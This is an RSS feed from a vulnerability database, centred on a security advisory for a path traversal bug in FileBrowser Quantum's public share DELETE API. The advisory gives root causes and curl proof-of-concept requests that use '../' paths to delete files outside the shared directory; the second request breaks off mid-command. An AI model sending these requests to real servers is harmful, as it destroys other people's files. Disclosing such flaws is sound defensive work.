https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-14T14:08:51.158039+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2026-07993 bdu:2026-07993 2026-10-14T14:08:51.208896+00:00 bdu:2026-07993 https://cve.radiocsirt.org/vuln/euvd-2026-318998 EUVD-2026-318998 2026-10-14T14:08:51.208946+00:00 EUVD-2026-318998 https://cve.radiocsirt.org/vuln/fkie_cve-2026-44542 fkie_cve-2026-44542 2026-10-14T14:08:51.208972+00:00

FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-stable and 1.3.9-beta, attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope. This affects public/api/resources and public/api/resources/bulk. This vulnerability is fixed in 1.3.1-stable and 1.3.9-beta.

 https://cve.radiocsirt.org/vuln/ghsa-fwj3-42wh-8673 GHSA-fwj3-42wh-8673 — FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion 2026-10-14T14:08:51.209038+00:00

Affected: Go: github.com/gtsteffaniak/filebrowser

### **Summary**

Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.

### **Affected Components**

**Two distinct vulnerable code paths:**

1. Stable versions (e.g., gtstef/filebrowser:stable) `DELETE /public/api/resources?hash=<hash>&path=../victim` Root cause: middleware.go:111 Issue: path query parameter is joined before SanitizeUserPath() 2. Development / HEAD (e.g., commit eabdfd9) `DELETE /public/api/resources/bulk?hash=<hash>` Body: [{"path":"../victim"}] Root cause: resource.go:274 Issue: item.Path is joined before SanitizeUserPath()

### **Steps to reproduce (Stable Version)**

**1. Create a directory structure:**

``` /folder/shared_subdir/ (shared) /folder/protected.txt (outside shared directory) ```

**2. Create a public share:** ``` Path: /shared_subdir AllowDelete=true ```

**3. Send request:**

``` curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"

#Observe: #protected.txt is deleted despite being outside the shared directory ```

### **Proof of Concept (HEAD / bulk endpoint)**

``` curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \ -H "Content-Type: application/…